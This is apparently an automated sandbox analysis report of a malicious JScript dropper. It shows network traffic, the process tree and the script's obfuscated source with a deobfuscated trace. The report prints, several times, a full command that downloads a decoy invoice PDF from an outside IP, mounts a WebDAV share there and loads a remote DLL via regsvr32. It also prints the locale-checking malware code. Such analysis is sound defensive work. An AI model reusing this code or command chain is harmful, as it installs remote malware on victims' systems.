obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:47:41.975348949 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:47:41.975402117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 01:47:41.975445986 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 01:47:41.975478888 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 01:47:41.975512981 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 01:47:41.975548029 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 11, 2025 01:47:41.975583076 CET	1120	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 11, 2025 01:47:41.975620985 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 11, 2025 01:47:41.975655079 CET	224	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CR
Jan 11, 2025 01:47:41.980603933 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49725	193.143.1.205	8888	6680	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:47:43.761894941 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:47:44.562642097 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:47:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	5
Start time:	19:47:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\525931685256721403.js"
Imagebase:	0x7ff7ce560000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:47:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Imagebase:	0x7ff685490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:47:37
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:47:37
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:47:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	19:47:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff685490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:47:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60f750000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:47:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	19:47:44
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	19:47:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1752,i,7857329049339581879,4952565180670200298,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sauvjaoov() {	sauvjaoov() ➔ undefined
1	iqksqvpo = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var bdbvetx = this[jhoztgrop + nolsia + tspdcu + rqkehjw + kqjowvu + wdjybg + bxmlmzcd + ajrmwr] ( this[sawrj + sdwuxdyj + doytqyke + tspdcu + bbcsnxxfc + jhoztgrop + ajrmwr][fmqmyj + tspdcu + kqjowvu + nolsia + ajrmwr + kqjowvu + gwvpcki + fbpfh + qbksyjcb + kqjowvu + doytqyke + ajrmwr] ( sawrj + sdwuxdyj + doytqyke + tspdcu + bbcsnxxfc + jhoztgrop + ajrmwr + eeapkrou + sdwuxdyj + yueuqqdpu + kqjowvu + hntzfgv + hntzfgv ) [lrmmxkwd + kqjowvu + afvmqqp + lrmmxkwd + kqjowvu + nolsia + gkisgt] ( rvskn + ulebrgaop + jlwdz + rguzhgue + emwxvo + fmqmyj + kltpxjvkr + lrmmxkwd + lrmmxkwd + jlwdz + eqkhq + kxmtt + emwxvo + kltpxjvkr + sdwuxdyj + jlwdz + lrmmxkwd + hytksgco + fmqmyj + jqqbmniav + bxmlmzcd + ajrmwr + tspdcu + jqqbmniav + hntzfgv + eyufrl + bvobzfdq + nolsia + bxmlmzcd + kqjowvu + hntzfgv + hytksgco + wdjybg + bxmlmzcd + ajrmwr + kqjowvu + tspdcu + bxmlmzcd + nolsia + ajrmwr + bbcsnxxfc + jqqbmniav + bxmlmzcd + nolsia + hntzfgv + hytksgco + bkbssg + jqqbmniav + doytqyke + nolsia + hntzfgv + kqjowvu ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( unyspzk = 0 ; unyspzk < iqksqvpo[hntzfgv + kqjowvu + bxmlmzcd + afvmqqp + ajrmwr + yueuqqdpu] ; ++ unyspzk )
4	{
5	if ( bdbvetx == iqksqvpo[unyspzk] )
6	{
7	bdbvetx = true;
8	break ;
9	}
10	}
11	if ( bdbvetx !== true )
12	this[sawrj + sdwuxdyj + doytqyke + tspdcu + bbcsnxxfc + jhoztgrop + ajrmwr][opqlr + hdtgif + bbcsnxxfc + ajrmwr] ( );
13	this[sawrj + sdwuxdyj + doytqyke + tspdcu + bbcsnxxfc + jhoztgrop + ajrmwr][fmqmyj + tspdcu + kqjowvu + nolsia + ajrmwr + kqjowvu + gwvpcki + fbpfh + qbksyjcb + kqjowvu + doytqyke + ajrmwr] ( sawrj + sdwuxdyj + doytqyke + tspdcu + bbcsnxxfc + jhoztgrop + ajrmwr + eeapkrou + sdwuxdyj + yueuqqdpu + kqjowvu + hntzfgv + hntzfgv ) [tspdcu + hdtgif + bxmlmzcd] ( doytqyke + ehzlyljl + gkisgt + eyufrl + dvmbauyra + doytqyke + eyufrl + jhoztgrop + jqqbmniav + ickaq + kqjowvu + tspdcu + rqkehjw + yueuqqdpu + kqjowvu + hntzfgv + hntzfgv + eeapkrou + kqjowvu + ysoqpopf + kqjowvu + eyufrl + patjsmm + fmqmyj + jqqbmniav + ehzlyljl + ehzlyljl + nolsia + bxmlmzcd + gkisgt + eyufrl + cghrfndek + wdjybg + bxmlmzcd + khmqh + jqqbmniav + lwunsde + kqjowvu + patjsmm + sawrj + kqjowvu + fbpfh + lrmmxkwd + kqjowvu + lpmktled + hdtgif + kqjowvu + rqkehjw + ajrmwr + eyufrl + patjsmm + gwvpcki + hdtgif + ajrmwr + thuryhkc + bbcsnxxfc + hntzfgv + kqjowvu + eyufrl + vagey + ajrmwr + kqjowvu + ehzlyljl + jhoztgrop + vagey + hytksgco + bbcsnxxfc + bxmlmzcd + khmqh + jqqbmniav + bbcsnxxfc + doytqyke + kqjowvu + eeapkrou + jhoztgrop + gkisgt + neibfj + eyufrl + yueuqqdpu + ajrmwr + ajrmwr + jhoztgrop + tjtdl + dvmbauyra + dvmbauyra + mwhcs + xmwkqpufk + gmrpseeov + eeapkrou + mwhcs + gstqo + gmrpseeov + eeapkrou + mwhcs + eeapkrou + hnvatw + zhhfoi + yuebqkzg + dvmbauyra + bbcsnxxfc + bxmlmzcd + khmqh + jqqbmniav + bbcsnxxfc + doytqyke + kqjowvu + eeapkrou + jhoztgrop + yueuqqdpu + jhoztgrop + cghrfndek + wtfju + wtfju + rqkehjw + ajrmwr + nolsia + tspdcu + ajrmwr + eyufrl + vagey + ajrmwr + kqjowvu + ehzlyljl + jhoztgrop + vagey + hytksgco + bbcsnxxfc + bxmlmzcd + khmqh + jqqbmniav + bbcsnxxfc + doytqyke + kqjowvu + eeapkrou + jhoztgrop + gkisgt + neibfj + wtfju + wtfju + doytqyke + ehzlyljl + gkisgt + eyufrl + dvmbauyra + doytqyke + eyufrl + bxmlmzcd + kqjowvu + ajrmwr + eyufrl + hdtgif + rqkehjw + kqjowvu + eyufrl + hytksgco + hytksgco + mwhcs + xmwkqpufk + gmrpseeov + eeapkrou + mwhcs + gstqo + gmrpseeov + eeapkrou + mwhcs + eeapkrou + hnvatw + zhhfoi + yuebqkzg + oydwzmtn + ioybyx + ioybyx + ioybyx + ioybyx + hytksgco + gkisgt + nolsia + khmqh + ickaq + ickaq + ickaq + tspdcu + jqqbmniav + jqqbmniav + ajrmwr + hytksgco + wtfju + wtfju + doytqyke + ehzlyljl + gkisgt + eyufrl + dvmbauyra + doytqyke + eyufrl + tspdcu + kqjowvu + afvmqqp + rqkehjw + khmqh + tspdcu + gmrpseeov + hnvatw + eyufrl + dvmbauyra + rqkehjw + eyufrl + hytksgco + hytksgco + mwhcs + xmwkqpufk + gmrpseeov + eeapkrou + mwhcs + gstqo + gmrpseeov + eeapkrou + mwhcs + eeapkrou + hnvatw + zhhfoi + yuebqkzg + oydwzmtn + ioybyx + ioybyx + ioybyx + ioybyx + hytksgco + gkisgt + nolsia + khmqh + ickaq + ickaq + ickaq + tspdcu + jqqbmniav + jqqbmniav + ajrmwr + hytksgco + mwhcs + mwhcs + yuebqkzg + gstqo + jthlvs + mwhcs + hnvatw + mwhcs + jthlvs + jthlvs + gmrpseeov + mwhcs + xmwkqpufk + pfcdwgkl + pfcdwgkl + eeapkrou + gkisgt + hntzfgv + hntzfgv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll",0,false) ➔ 0
14	}
15	tspdcu = "g";
16	tspdcu = "j";
17	tspdcu = "H";
18	tspdcu = "M";
19	tspdcu = "W";
20	tspdcu = "X";
21	tspdcu = "J";
22	tspdcu = "R";
23	tspdcu = "z";
24	tspdcu = "R";
25	tspdcu = "r";
26	lwunsde = "Z";
27	lwunsde = "n";
28	lwunsde = "Q";
29	lwunsde = "R";
30	lwunsde = "S";
31	lwunsde = "k";
32	lwunsde = "q";
33	lwunsde = "J";
34	lwunsde = "t";
35	lwunsde = "U";
36	lwunsde = "L";
37	lwunsde = "Y";
38	lwunsde = "G";
39	lwunsde = "O";
40	lwunsde = "A";
41	lwunsde = "x";
42	lwunsde = "x";
43	lwunsde = "B";
44	lwunsde = "V";
45	lwunsde = "k";
46	ehzlyljl = "u";
47	ehzlyljl = "D";
48	ehzlyljl = "K";
49	ehzlyljl = "p";
50	ehzlyljl = "e";
51	ehzlyljl = "q";
52	ehzlyljl = "J";
53	ehzlyljl = "M";
54	ehzlyljl = "x";
55	ehzlyljl = "g";
56	ehzlyljl = "g";
57	ehzlyljl = "f";
58	ehzlyljl = "b";
59	ehzlyljl = "c";
60	ehzlyljl = "m";
61	gstqo = "V";
62	gstqo = "G";
63	gstqo = "c";
64	gstqo = "I";
65	gstqo = "k";
66	gstqo = "e";
67	gstqo = "D";
68	gstqo = "C";
69	gstqo = "S";
70	gstqo = "L";
71	gstqo = "D";
72	gstqo = "F";
73	gstqo = "S";
74	gstqo = "T";
75	gstqo = "R";
76	gstqo = "Z";
77	gstqo = "D";
78	gstqo = "K";
79	gstqo = "C";
80	gstqo = "q";
81	gstqo = "j";
82	gstqo = "E";
83	gstqo = "I";
84	gstqo = "C";
85	gstqo = "T";
86	gstqo = "H";
87	gstqo = "p";
88	gstqo = "X";
89	gstqo = "Y";
90	gstqo = "L";
91	gstqo = "T";
92	gstqo = "B";
93	gstqo = "a";
94	gstqo = "p";
95	gstqo = "S";
96	gstqo = "l";
97	gstqo = "a";
98	gstqo = "y";
99	gstqo = "m";
100	gstqo = "e";
101	gstqo = "C";
102	gstqo = "l";
103	gstqo = "X";
104	gstqo = "I";
105	gstqo = "4";
106	yueuqqdpu = "G";
107	yueuqqdpu = "p";
108	yueuqqdpu = "B";
109	yueuqqdpu = "D";
110	yueuqqdpu = "T";
111	yueuqqdpu = "H";
112	yueuqqdpu = "h";
113	jthlvs = "G";
114	jthlvs = "f";
115	jthlvs = "E";
116	jthlvs = "h";
117	jthlvs = "x";
118	jthlvs = "n";
119	jthlvs = "C";
120	jthlvs = "k";
121	jthlvs = "f";
122	jthlvs = "c";
123	jthlvs = "n";
124	jthlvs = "w";
125	jthlvs = "o";
126	jthlvs = "W";
127	jthlvs = "X";
128	jthlvs = "y";
129	jthlvs = "I";
130	jthlvs = "a";
131	jthlvs = "R";
132	jthlvs = "K";
133	jthlvs = "m";
134	jthlvs = "Z";
135	jthlvs = "U";
136	jthlvs = "o";
137	jthlvs = "o";
138	jthlvs = "v";
139	jthlvs = "Z";
140	jthlvs = "O";
141	jthlvs = "d";
142	jthlvs = "H";
143	jthlvs = "n";
144	jthlvs = "j";
145	jthlvs = "g";
146	jthlvs = "6";
147	lrmmxkwd = "R";
148	opqlr = "S";
149	opqlr = "Y";
150	opqlr = "O";
151	opqlr = "s";
152	opqlr = "P";
153	opqlr = "s";
154	opqlr = "n";
155	opqlr = "y";
156	opqlr = "U";
157	opqlr = "t";
158	opqlr = "o";
159	opqlr = "H";
160	opqlr = "F";
161	opqlr = "L";
162	opqlr = "Y";
163	opqlr = "Q";
164	ulebrgaop = "a";
165	ulebrgaop = "Z";
166	ulebrgaop = "f";
167	ulebrgaop = "u";
168	ulebrgaop = "S";
169	ulebrgaop = "F";
170	ulebrgaop = "V";
171	ulebrgaop = "p";
172	ulebrgaop = "C";
173	ulebrgaop = "x";
174	ulebrgaop = "u";
175	ulebrgaop = "V";
176	ulebrgaop = "W";
177	ulebrgaop = "O";
178	ulebrgaop = "f";
179	ulebrgaop = "u";
180	ulebrgaop = "D";
181	ulebrgaop = "R";
182	ulebrgaop = "l";
183	ulebrgaop = "G";
184	ulebrgaop = "R";
185	ulebrgaop = "v";
186	ulebrgaop = "P";
187	ulebrgaop = "j";
188	ulebrgaop = "g";
189	ulebrgaop = "Z";
190	ulebrgaop = "D";
191	ulebrgaop = "p";
192	ulebrgaop = "h";
193	ulebrgaop = "f";
194	ulebrgaop = "j";
195	ulebrgaop = "X";
196	ulebrgaop = "T";
197	ulebrgaop = "O";
198	ulebrgaop = "a";
199	ulebrgaop = "l";
200	ulebrgaop = "H";
201	ulebrgaop = "w";
202	ulebrgaop = "X";
203	ulebrgaop = "h";
204	ulebrgaop = "E";
205	ulebrgaop = "s";
206	ulebrgaop = "K";
207	ajrmwr = "Z";
208	ajrmwr = "u";
209	ajrmwr = "v";
210	ajrmwr = "K";
211	ajrmwr = "z";
212	ajrmwr = "g";
213	ajrmwr = "D";
214	ajrmwr = "T";
215	ajrmwr = "W";
216	ajrmwr = "Q";
217	ajrmwr = "O";
218	ajrmwr = "H";
219	ajrmwr = "v";
220	ajrmwr = "e";
221	ajrmwr = "X";
222	ajrmwr = "Q";
223	ajrmwr = "t";
224	ajrmwr = "s";
225	ajrmwr = "h";
226	ajrmwr = "H";
227	ajrmwr = "o";
228	ajrmwr = "g";
229	ajrmwr = "l";
230	ajrmwr = "j";
231	ajrmwr = "U";
232	ajrmwr = "W";
233	ajrmwr = "H";
234	ajrmwr = "t";
235	wdjybg = "n";
236	wdjybg = "u";
237	wdjybg = "x";
238	wdjybg = "l";
239	wdjybg = "f";
240	wdjybg = "H";
241	wdjybg = "C";
242	wdjybg = "I";
243	eeapkrou = "e";
244	eeapkrou = "D";
245	eeapkrou = "I";
246	eeapkrou = "N";
247	eeapkrou = "t";
248	eeapkrou = "N";
249	eeapkrou = "J";
250	eeapkrou = "F";
251	eeapkrou = "J";
252	eeapkrou = "v";
253	eeapkrou = "s";
254	eeapkrou = "Z";
255	eeapkrou = "V";
256	eeapkrou = "N";
257	eeapkrou = "U";
258	eeapkrou = "k";
259	eeapkrou = "K";
260	eeapkrou = "F";
261	eeapkrou = "V";
262	eeapkrou = "M";
263	eeapkrou = "J";
264	eeapkrou = "k";
265	eeapkrou = "r";
266	eeapkrou = "t";
267	eeapkrou = "j";
268	eeapkrou = "g";
269	eeapkrou = ".";
270	fmqmyj = "K";
271	fmqmyj = "K";
272	fmqmyj = "V";
273	fmqmyj = "x";
274	fmqmyj = "n";
275	fmqmyj = "P";
276	fmqmyj = "a";
277	fmqmyj = "l";
278	fmqmyj = "e";
279	fmqmyj = "n";
280	fmqmyj = "J";
281	fmqmyj = "k";
282	fmqmyj = "j";
283	fmqmyj = "Q";
284	fmqmyj = "r";
285	fmqmyj = "C";
286	doytqyke = "C";
287	doytqyke = "E";
288	doytqyke = "p";
289	doytqyke = "R";
290	doytqyke = "s";
291	doytqyke = "l";
292	doytqyke = "C";
293	doytqyke = "V";
294	doytqyke = "w";
295	doytqyke = "n";
296	doytqyke = "i";
297	doytqyke = "I";
298	doytqyke = "M";
299	doytqyke = "V";
300	doytqyke = "Y";
301	doytqyke = "Q";
302	doytqyke = "T";
303	doytqyke = "z";
304	doytqyke = "u";
305	doytqyke = "S";
306	doytqyke = "y";
307	doytqyke = "w";
308	doytqyke = "U";
309	doytqyke = "u";
310	doytqyke = "T";
311	doytqyke = "j";
312	doytqyke = "j";
313	doytqyke = "S";
314	doytqyke = "c";
315	zhhfoi = "i";
316	zhhfoi = "V";
317	zhhfoi = "m";
318	zhhfoi = "h";
319	zhhfoi = "s";
320	zhhfoi = "d";
321	zhhfoi = "G";
322	zhhfoi = "O";
323	zhhfoi = "z";
324	zhhfoi = "Q";
325	zhhfoi = "e";
326	zhhfoi = "O";
327	zhhfoi = "q";
328	zhhfoi = "m";
329	zhhfoi = "b";
330	zhhfoi = "y";
331	zhhfoi = "J";
332	zhhfoi = "y";
333	zhhfoi = "P";
334	zhhfoi = "m";
335	zhhfoi = "w";
336	zhhfoi = "P";
337	zhhfoi = "P";
338	zhhfoi = "a";
339	zhhfoi = "h";
340	zhhfoi = "D";
341	zhhfoi = "b";
342	zhhfoi = "e";
343	zhhfoi = "N";
344	zhhfoi = "N";
345	zhhfoi = "A";
346	zhhfoi = "P";
347	zhhfoi = "s";
348	zhhfoi = "Y";
349	zhhfoi = "P";
350	zhhfoi = "w";
351	zhhfoi = "g";
352	zhhfoi = "R";
353	zhhfoi = "0";
354	nolsia = "w";
355	nolsia = "F";
356	nolsia = "h";
357	nolsia = "e";
358	nolsia = "B";
359	nolsia = "f";
360	nolsia = "U";
361	nolsia = "a";
362	nolsia = "a";
363	nolsia = "B";
364	nolsia = "P";
365	nolsia = "d";
366	nolsia = "M";
367	nolsia = "v";
368	nolsia = "l";
369	nolsia = "n";
370	nolsia = "a";
371	pfcdwgkl = "j";
372	pfcdwgkl = "M";
373	pfcdwgkl = "M";
374	pfcdwgkl = "N";
375	pfcdwgkl = "V";
376	pfcdwgkl = "7";
377	sawrj = "n";
378	sawrj = "L";
379	sawrj = "X";
380	sawrj = "T";
381	sawrj = "F";
382	sawrj = "j";
383	sawrj = "L";
384	sawrj = "U";
385	sawrj = "g";
386	sawrj = "Q";
387	sawrj = "n";
388	sawrj = "e";
389	sawrj = "W";
